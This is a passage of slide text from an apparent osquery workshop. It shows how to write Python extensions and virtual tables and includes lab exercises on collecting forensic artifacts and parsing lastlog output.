Python Bindings - Running $ python simply.py # Running our code ExtensionResponse(status=ExtensionStatus(message='OK', code=0, uuid=0), response=[{'timestamp': 'Mon Aug 1 19:09:43 2016 UTC'}]) # NOTE # ExtensionResponse() - response structure # status - tells status the request # message - status message # code - status code # uuid - uuid # response - result of the request in list

Slide 96

Slide 96 text

Lab #4 - Writing custom python extensions What? In this lab, you are an analyst. You want to write a script to collect forensic artifacts from an infected host. You want to collect all the things since you don’t know what is wrong with the host. How? Using osquery… We have provided you a template called lab4_collect_artifacts.py. You should use this collect the following information: timestamp, users, groups, system_info, crontab, arp_cache, etc_hosts, etc_services, dns_resolvers, listening_ports, kernel_modules, processes TL;DR - Your job is to complete all the TODOs in lab #4.

Slide 97

Slide 97 text

Python Bindings - Virtual Table osquery-python allows you to implement custom SQL tables

Slide 98

Slide 98 text

Python Bindings - Virtual Table import osquery @osquery.register_plugin class MyTablePlugin(osquery.TablePlugin): def name(self): return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",)

Slide 99

Slide 99 text

Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator class MyTablePlugin(osquery.TablePlugin): # Extending the table base def name(self): return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Initialization 1. Import osquery module 2. Register the plugin 3. Extend the table from osquery.TablePlugin

Slide 100

Slide 100 text

Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # Name of the table return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Define table name

Slide 101

Slide 101 text

Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # < Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Define columns “foo” and “baz”

Slide 102

Slide 102 text

Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # < Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): # Populate content of the columns query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Populate the rows content of the table

Slide 103

Slide 103 text

Python Bindings - Virtual Table import osquery # < import the python module @osquery.register_plugin # < register plugin decorator class MyTablePlugin(osquery.TablePlugin): # Extending the table base def name(self): # Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): # Populate content of the columns query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": # Start the extension osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Start the extension

Slide 104

Slide 104 text

Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...)

Slide 105

Slide 105 text

Slide 106

Slide 106 text

Slide 107

Slide 107 text

Slide 108

Slide 108 text

Lab 5 - Writing a table virtual table In this lab, you will learn how to write a virtual table for osquery in python. In Linux, there is a command called lastlog that formats and prints the contents of the last login log file, /var/log/lastlog. Your job will be: 1. Play with lastlog command 2. Understand the output format 3. Parse the output format in python. TL;DR - Your job is to complete all the TODOs in Lab #5.